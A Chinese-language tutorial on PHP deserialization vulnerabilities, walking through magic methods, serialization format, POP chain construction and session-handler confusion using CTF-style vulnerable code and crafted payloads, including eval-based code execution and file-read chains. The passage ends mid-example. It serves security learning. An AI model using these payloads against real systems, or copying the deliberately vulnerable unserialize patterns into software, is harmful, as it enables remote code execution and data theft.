php反序列化入门

Hvv期间爆出来一个漏洞：Yii框架反序列化RCE利用链。php反序列化已经从最开始的CTF宠儿，到现在框架的pop利用链构造，利用方式也越来越多样化。遂来系统性的学习一下php反序列化，本系列文章会从php反序列化漏洞的基础开始（入门篇），结合一些cms实例来学习pop利用链的构造，最后对Yii框架反序列化RCE利用链漏洞进行分析（放弃篇）。

php反序列化基础

php类与对象

类是定义一系列属性和操作的模板，而对象，就是把属性进行实例化，完事交给类里面的方法，进行处理。

<?php
class people{
   //定义类属性（类似变量）,public 代表可见性（公有）
    public $name = 'joker';
   //定义类方法（类似函数）
   public function smile(){
        echo $this->name." is smile...\n";
   }
}
​
$psycho = new people(); //根据people类实例化对象
$psycho->smile();
?>

上述代码定义了一个people类，并在在类中定义了一个public类型的变量name和类方法smile。然后实例化一个对象psycho，去调用people类里面的smile方法，打印出结果。

这就是php类与对象最基础的使用。

魔术方法

为什么被称为魔法方法呢？因为是在触发了某个事件之前或之后，魔法函数会自动调用执行，而其他的普通函数必须手动调用才可以执行。PHP 将所有以 （两个下划线）开头的类方法保留为魔术方法。所以在定义类方法时，除了上述魔术方法，建议不要以 为前缀。下表为php常见的魔术方法：

方法名	作用
__construct	构造函数，在创建对象时候初始化对象，一般用于对变量赋初值
__destruct	析构函数，和构造函数相反，在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString	当一个对象被当作一个字符串被调用，把类当作字符串使用时触发，返回值需要为字符串，例如echo打印出对象就会调用此方法
__wakeup()	使用unserialize时触发，反序列化恢复对象之前调用该方法
__sleep()	使用serialize时触发 ，在对象被序列化前自动调用，该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()	对象被销毁时触发
__call()	在对象中调用不可访问的方法时触发，即当调用对象中不存在的方法会自动调用该方法
__callStatic()	在静态上下文中调用不可访问的方法时触发
__get()	读取不可访问的属性的值时会被调用（不可访问包括私有属性，或者没有初始化的属性）
__set()	在给不可访问属性赋值时，即在调用私有属性的时候会自动执行
__isset()	当对不可访问属性调用isset()或empty()时触发
__unset()	当对不可访问属性调用unset()时触发
__invoke()	当脚本尝试将对象调用为函数时触发

额外提一下__tostring的具体触发场景：

(1) echo(obj) / print(obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时（PHP进行==比较的时候会转换参数类型）

(5) 反序列化对象参与格式化SQL语句，绑定参数时

(6) 反序列化对象在经过php字符串函数，如 strlen()、addslashes()时

(7) 在in_array()方法中，第一个参数是反序列化对象，第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

举个例子：

<?php
    class animal {
        private $name = 'caixukun';
​
        public function sleep(){
            echo "<hr>";
            echo $this->name . " is sleeping...\n";
        }
        public function __wakeup(){
            echo "<hr>";
            echo "调用了__wakeup()方法\n";
        }
        public function __construct(){
            echo "<hr>";
            echo "调用了__construct()方法\n";
        }
        public function __destruct(){
            echo "<hr>";
            echo "调用了__destruct()方法\n";
        }
        public function __toString(){
            echo "<hr>";
            echo "调用了__toString()方法\n";
        }
        public function __set($key, $value){
            echo "<hr>";
            echo "调用了__set()方法\n";
        }
        public function __get($key) {
            echo "<hr>";
            echo "调用了__get()方法\n";
        }
    }
    
    $ji = new animal();
    $ji->name = 1;
    echo $ji->name;
    $ji->sleep();
    $ser_ji = serialize($ji);
    //print_r($ser_ji);
    print_r(unserialize($ser_ji))
?>

php序列化/反序列化

在开发的过程中常常遇到需要把对象或者数组进行序列号存储，反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时，我们时常需要将数组进行序列号操作。

php序列化（serialize）：是将变量转换为可保存或传输的字符串的过程

php反序列化（unserialize）：就是在适当的时候把这个字符串再转化成原来的变量使用

这两个过程结合起来，可以轻松地存储和传输数据，使程序更具维护性。

常见的php系列化和反系列化方式主要有：serialize，unserialize；json_encode，json_decode。

序列化

举个序列化小栗子：

<?php
class object{
    public $team = 'joker';
    private $team_name = 'hahaha';
    protected $team_group = 'biubiu';
​
    function hahaha(){
        $this->$team_members = '奥力给';
    }
}
$object = new object();
echo serialize($object);
?>

以上是序列化之后的结果，o代表是一个对象，6是对象object的长度，3的意思是有三个类属性，后面花括号里的是类属性的内容，s表示的是类属性team的类型，4表示类属性team的长度，后面的以此类推。值得一提的是，类方法并不会参与到实例化里面。

需要注意的是变量受到不同修饰符（public，private，protected）修饰进行序列化时，序列化后变量的长度和名称会发生变化。

• 使用public修饰进行序列化后，变量$team的长度为4，正常输出。

• 使用private修饰进行序列化后，会在变量$team_name前面加上类的名称，在这里是object，并且长度会比正常大小多2个字节，也就是9+6+2=17。

• 使用protected修饰进行序列化后，会在变量$team_group前面加上*，并且长度会比正常大小多3个字节，也就是10+3=13。

通过对比发现，在受保护的成员前都多了两个字节，受保护的成员在序列化时规则：

\1. 受Private修饰的私有成员，序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]

\2. 受Protected修饰的成员，序列化时：\x00 + * + \x00 + [变量名]

其中，"\x00"代表ASCII为0的值，即空字节，" * " 必不可少。

序列化格式中的字母含义：

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

反序列化

反序列化的话，就依次根据规则进行反向复原。

这边定义一个字符串，然后使用反序列化函数unserialize进行反序列化处理，最后使用var_dump进行输出：

<?php
    $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
    $ser = unserialize($ser);
    var_dump($ser);
?>

php反序列化漏洞（对象注入）

在反序列化过程中，其功能就类似于创建了一个新的对象（复原一个对象可能更恰当），并赋予其相应的属性值。如果让攻击者操纵任意反序列数据， 那么攻击者就可以实现任意类对象的创建，如果一些类存在一些自动触发的方法（魔术方法），那么就有可能以此为跳板进而攻击系统应用。

挖掘反序列化漏洞的条件是：

1. 代码中有可利用的类，并且类中有**wakeup()，**sleep()，__destruct()这类特殊条件下可以自己调用的魔术方法。

2. unserialize()函数的参数可控。

php对象注入示例一：

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

如上代码，最终的目的是通过调用destruct()这个析构函数，将恶意的payload注入，导致代码执行。根据上面的魔术方法的介绍，当程序跑到unserialize()反序列化的时候，会触发destruct()方法，同时也可以触发__wakeup()方法。但是如果想注入恶意payload，还需要对test的值进行覆盖，题目中已经给出了序列化链，很明显是对类A的test变量进行覆盖。

可以看到当我们传入的参数为 phpinfo()

这样的话在调用__destruct方法执行eval之前就把变量$test的值替换成恶意payload。

php对象注入示例二：

这是来自bugku的一道题。题目地址

index.php

<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ 
    echo "hello friend!<br>"; 
    if(preg_match("/flag/",$file))
    { 
       echo "不能现在就给你flag哦"; 
       exit(); 
    }
    else
    { 
       include($file); 
       $password = unserialize($password); 
       echo $password; 
    } 
}
else
{ 
       echo "you are not the number of bugku ! "; 
} 
?>

hint.php

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?>

hint.php文件中使用了魔术方法tostring()方法，当一个对象被当作一个字符串被调用时即可触发，方法的主要作用是读取并打印传进来的$file，估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链，在index.php文件中发现使用echo将反序列化的对象当作字符串打印，此处就会触发 tostring()方法，并且unserialize()内的变量可控，满足反序列化漏洞条件。直接构造payload：（关于使用php://filter进行任意文件的读取，参照p牛：《谈一谈php://filter的妙用》）

php对象注入示例三：

<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>            

如上代码主要通过调用魔术方法wakeup将$test的值写入flag.php文件中，当调用unserialize()反序列化操作时会触发wakeup魔术方法，接下来就需要构造传进去的payload，先生成payload：

<?php
class test{
    var $test = "<?php phpinfo(); ?>";
}
$test = new test();
echo serialize($test);
?>

传入payload:

在执行unserialize()方法时会触发__wakeup()方法执行，将传入的字符串反序列化后，会替换掉test类里面$test变量的值，将php探针写入flag.php文件中，并通过下面的require引用，导致命令执行。

php反序列化利用---POP链构造

上面的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中，就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名，把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的，层层递进，最终去构造出一个有杀伤力的payload。

POP链简介

1. POP 面向属性编程（Property-Oriented Programing）

常用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链，最终达到攻击者邪恶的目的。类似于PWN中的ROP，有时候反序列化一个对象时，由它调用的__wakeup()中又去调用了其他的对象，由此可以溯源而上，利用一次次的 " gadget " 找到漏洞点。

2. POP CHAIN

把魔术方法作为最开始的小组件，然后在魔术方法中调用其他函数(小组件)，通过寻找相同名字的函数，再与类中的敏感函数和属性相关联，就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控，便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

POP链利用技巧

1. 一些有用的POP链中出现的方法：

- 命令执行：exec()、passthru()、popen()、system()
- 文件操作：file_put_contents()、file_get_contents()、unlink()
- 代码执行：eval()、assert()、call_user_func()

2. 反序列化中为了避免信息丢失，使用大写S支持字符串的编码。

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息)，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示，使用如下形式即可绕过，即：

s:4:"user"; -> S:4:"use\72";

3. 深浅copy

在php中如果我们使用 & 对变量A的值指向变量B，这个时候是属于浅拷贝，当变量B改变时，变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了，但是其他变量可控的情况下，就可以利用浅拷贝来绕过过滤。

$A = &$B; 

4. 利用PHP伪协议

配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

POP链构造小例子一

<?php
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

如上代码，危险的命令执行方法eval不在魔术方法中，在evil类中。但是魔术方法**construct()是调用normal类，**destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法，并伪造evil类中的变量data，达成任意代码执行的目的。这样的话可以尝试去构造POP利用链，让魔术方法__construct()去调用evil这个类，并且给变量data赋予恶意代码，比如php探针phpinfo()，这样就相当于执行<?php eval("phpinfo();")?>。尝试构造payload：

编写我们想要执行的效果，然后进行序列化。

但是由于ClassObj是protected类型修饰，data是private类型修饰，在序列化的时候，多出来的字节都被\x00填充，需要进行在代码中使用urlencode对序列化后字符串进行编码，否则无法复制解析。

最后payload为：

O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

POP链构造小例子二

<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; 
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现**toString()魔术方法调用了file_get_contents()来读取变量name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数**destruct()并使用echo输出变量，__toString()方法在此时会被自动调用。关键在于如果能控制变量name，就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量user，并且传入的user还不能包含 "user" 子符串。解决方法：

1. $input 前端传进来的参数不允许包含"user"字段，可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示，使用16进制即可绕过

2. name字段不可控，user字段可控，可以使用浅copy来实现赋值。

尝试构造payload:

<?php
class MyFile {
    public $name = '/etc/hosts';
    public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>

一般POP链都是反着程序来生成，将我们要实现的代码序列化，传入程序进行反序列化 ，就可以让程序按照我们的想法执行。

如上代码我们的目的是去操控name的值，但事实只有user的值可控，所以采取浅copy：a->name = &a->name = &a->user。当变量user改变时，变量name也会跟着改变（其实就是指针指向的问题）。这样就可以通过控制变量user的值来控制name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串，这个字符串就支持将后面的字符串用16进制表示，就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload：

传入user=D://1.txt，就相当于替换$this->name的值，成功读取文件。

POP链构造小例子三

这个小例子来自于《PHP反序列化由浅入深》，这个例子有点意思。

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>

最后的目的是获取flag，也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行，需要构造一个POP链。

\1. string1中的tostring存在$this->str1->get_flag()，分析一下要自动调用tostring()需要把类string1当成字符串来使用，因为调用的是参数str1的方法，所以需要把str1赋值为类GetFlag的对象。

$this->str1 = new GetFlag()

\2. 发现类func中存在invoke方法执行了字符串拼接，需要把func当成函数使用自动调用invoke然后把mod1赋值为string1的对象与mod2拼接。

$this->mod1 = new string1() 　　这样的话在字符串拼接的时候就会触发魔术方法__toString()

\3. 在funct中找到了函数调用，需要把mod1赋值为func类的对象，又因为函数调用在call方法中，且参数为$test2，即无法调用test2方法时自动调用call方法；

$this->mod1 = new func() 　　将func类作为函数调用就会触发魔术方法__invoke()

\4. 在Call中的test1方法中存在this-\>mod1-\>test2();，需要把mod1赋值为funct的对象，让__call自动调用。

$this->mod1 = new funct()  　　因为$test2()方法不存在，当$this->mod1调用的时候会触发魔术方法__call()

\5. 查找test1方法的调用点，在start_gg中发现this-\>mod1-\>test1();，把mod1赋值为Call类的对象，等待__destruct()自动调用。这个程序的起点就在这里

$this->mod1 = new Call()

这个例子有趣的地方是在于结合魔术方法来层层调用，根据上面的分析来构造payload：

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();　　//把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();　　//把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();　　//把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();　　//把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {    
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();　　//把 $str1赋值为GetFlag类对象      
    }
    public function __toString()
    {    
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
$b = new start_gg;　　//构造start_gg类对象$b
echo urlencode(serialize($b));　　//显示输出url编码后的序列化对象

输出payload后传参，成功执行get_flag()：

POP链构造小例子四

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
​
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
​
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
​
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
​
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
​
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

通读代码，发现漏洞点在于可以通过调用Modifier类中的include方法造成任意文件包含漏洞。这是一个类的普通方法，要让这个方法执行，需要构造一个POP链。

\1. Modifier类中append方法被invoke()调用，并传入$this->var参数。当类Modifier被当作函数调用的时候，会自动调用魔术方法invoke()。

最后在Test类的构造函数看到了this-\>p，这里可以直接通过反序列化控制属性p的值，然后通过调用魔术方法**get()来return一个p()，类被当作函数调用就可以触发魔术方法**invoke()，需要把p赋值为Modifier类的对象，this->var可以传入想要包含的文件。

$this->p = new Modifier()

\2. Test类中的魔术方法get()是在读取不可访问属性的值时会被调用，发现Show类中的魔术方法toString()访问了str的source属性，如果str是Test类的对象，则不存在source属性，Test类的__get()魔术方法就会被调用。

$this->str = new Test()

\3. Show类中的魔术方法toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法construct()使用echo输出字符串，如果$this->source指向一个对象，就会调用__toString()方法。

$a = new Show();
$this->source = $a;

最终的调用链如下：

include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()

尝试构造payload：

<?php
class Modifier {
    protected  $var = "D://1.txt";
    }
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
 
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>

输出payload后传参，成功执行：

PHP Session反序列化

PHP Session

session请求过程

当第一次访问网站时，Seesion_start()函数就会创建一个唯一的Session ID，并自动通过HTTP的响应头，将这个Session ID保存到客户端Cookie中。同时，也在服务器端创建一个以Session ID命名的文件，用于保存这个用户的会话信息。当同一个用户再次访问这个网站时，也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来，这时Session_start()函数就不会再去分配一个新的Session ID，而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件，将这之前为这个用户保存的会话信息读出，在当前脚本中应用，达到跟踪这个用户的目的。

session_start的作用

当会话自动开始或者通过 session_start() 手动开始的时候， PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据（即session文件）， PHP 会自动反序列化session文件的内容，并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据，则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID，则创建一个由32个字母组成的PHPSESSID，并返回set-cookie。

整个流程大概如上所述，也可参考下述流程图：

Session存储机制

PHP中的Session中的内容并不是放在内存中的，而是以文件的方式来存储的，存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的，文件的内容就是Session值的序列化之后的内容。

先来大概了解一下PHP Session在php.ini中主要存在以下配置项：

Directive	含义
session.save_handler	设定用户自定义session存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files
session.save_path	设置session的存储路径，默认在/tmp
session.serialize_handler	定义用来序列化/反序列化的处理器名字。默认使用php。
session.auto_start	指定会话模块是否在请求开始时启动一个会话，默认为0不启动
session.upload_progress.enabed	将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup	一旦读取了所有的POST数据，立即清除进度信息。默认开启

在PHP中Session有三种序列化的方式，分别是php，php_serialize，php_binary，不同的引擎所对应的Session的存储的方式不同

存储引擎	存储方式
php_binary	键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php	键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize	(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

下面通过小例子来展示一下存储方式的不同：

php处理器：

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>

序列化的结果为：username|s:7:"bmjoker";

文件名为 sess_ck17sapjdvffchabcgp2suji96，其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为：$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。

php_binary处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
?>

序列化的结果为：usernames:7:"bmjoker";

文件名为 sess_ck17sapjdvffchabcgp2suji96，其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为：键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值。

php_serialize处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
?>

序列化的结果为：a:1:{s:8:"username";s:7:"bmjoker";}

文件名为 sess_ck17sapjdvffchabcgp2suji96，其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为：GET参数经过serialize序列化后的值。

Session反序列化漏洞

PHP在session存储和读取时，都会有一个序列化和反序列化的过程，PHP内置了多种处理器用于存取 $_SESSION 数据，都会对数据进行序列化和反序列化，PHP中的Session的实现是没有的问题的，漏洞主要是由于使用不同的引擎来处理session文件造成的。

存在对$_SESSION变量赋值

php引擎存储Session的格式为

php	键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize	(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子，先使用php_serialize引擎来存储Session：

Session1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

接下来使用php引擎来读取Session文件

Session2.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !"
    }
}
?>

漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。

对于php_serialize引擎来说' | '可能只是一个正常的字符；但对于php引擎来说' | '就是分隔符，前面是$_SESSION['username']的键名 ，后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义，导致其在解析Session文件时直接对' | '后的值进行反序列化处理。

可能有的人看到这里会有疑问，在使用php引擎读取Session文件时，为什么会自动对' | '后面的内容进行反序列化呢？也没看到反序列化unserialize函数。

这是因为使用了session_start()这个函数 ，看一下官方说明：PHP: session_start - Manual

可以看到PHP能自动反序列化数据的前提是，现有的会话数据是以特殊的序列化格式存储。

明白了漏洞的原理，也了解了反序列化漏洞的位置，现在来构造payload：

<?php
    class user{
        var $name;
        var $age;
    }
    $a = new user();
    $a->name = "bmjoker";
    $a->age = "888";
    echo serialize($a);
?>

如上生成的payload如果想利用php引擎读取Session文件时对' | '解析产生的反序列化漏洞，需要在payload前加个' | '，这个时候经过php_serialize引擎存储就会变成：``

这个使用如果使用php引擎去读取

直接访问Session2.php文件：

成功触发了user类的魔术方法__wakeup()，结合POP反序列化链就可以造成一些其他的漏洞。

但这种方法是在可以对*SESSION进行赋值的情况下实现的，那如果代码中不存在对*SESSION变量赋值的情况下又该如何利用?

不存在对$_SESSION变量赋值

在PHP中还存在一个upload_process机制，即自动在$_SESSION中创建一个键值对（key:value），value中刚好存在用户可控的部分，可以看下官方描述的，这个功能在文件上传的过程中利用session实时返回上传的进度。

更多细节请参考：PHP: Session 上传进度 - Manual

从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on，在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件，从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。

来看一道Jarvis OJ 平台的 PHPINFO 题目

环境地址：http://web.jarvisoj.com:32784/

index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

通过index.php代码可以得知：

1. 是使用php的引擎来读取Session。

2. 如果存在GET方式传递进来的参数，就实例化Oowo类的对象，就会自动调用构造函数**construct()，将phpinfo()赋值给变量mdzz，在程序结束的时候调用析构函数**destruct()通过eval执行mdzz，说白了就是随便传一个参数，就可以看到php探针。

通过读取php探针文件发现了两个比较重要的信息：

1. 默认的Session存储引擎为php_serialize，但是index.php告诉我们Session读取使用的是php引擎，因为反序列化和序列化使用的处理器不同，由于格式的原因会导致数据无法正确反序列化，那么就可以通过构造伪造任意数据。

2. index.php代码中虽然没有对*SESSION变量赋值，但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量*SESSION赋值，并结合上面的Session反序列化来构造利用。

session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS，可以本地创建 up_sess.html，一个向 index.php 提交 POST 请求的表单文件，其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。

up_sess.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" / >
    <input type="submit" />
</form>

接下来构造序列化payload来读取flag：

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
​
}
$obj = new OowoO();
echo serialize($obj);
?>

其中print_r(scandir(dirname(FILE)));用来打印当前文件绝对路径目录中的文件和目录的数组

接下来就要通过不同引擎的差异解析来构造反序列化payload，只需要在前面加上' | '，这样通过php引擎反序列化' | '后半部分，就可以打印出目录中的文件数组：

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在文件上传的时候使用burp抓包，在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串

查看根目录文件：

发现flag文件与index.php文件在同一目录下，查看根目录路径：

读取flag文件：

Session反序列化POP链构造

注：以下例子在本地搭建，需要在php.ini中对以下选项进行配置：

session.auto_start ＝ Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = 0ff

session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。

session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。

session.upload_progress.cleanup = On 导致文件上传后，Session文件内容立即清空，这个时候就需要利用时间竞争，在Session文件内容清空前进行包含利用。

前期为了演示反序列化效果，暂时将这个选项关闭Off，后面会打开来展示利用条件竞争Session反序列化rce。

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));            
//show_source(__FILE__);    
class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}
    
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){                    //    类被当作字符串时被调用
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}
    
class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}
    
?>

index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

通读class.php文件，发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法，要让这个方法执行，需要构造一个POP链。

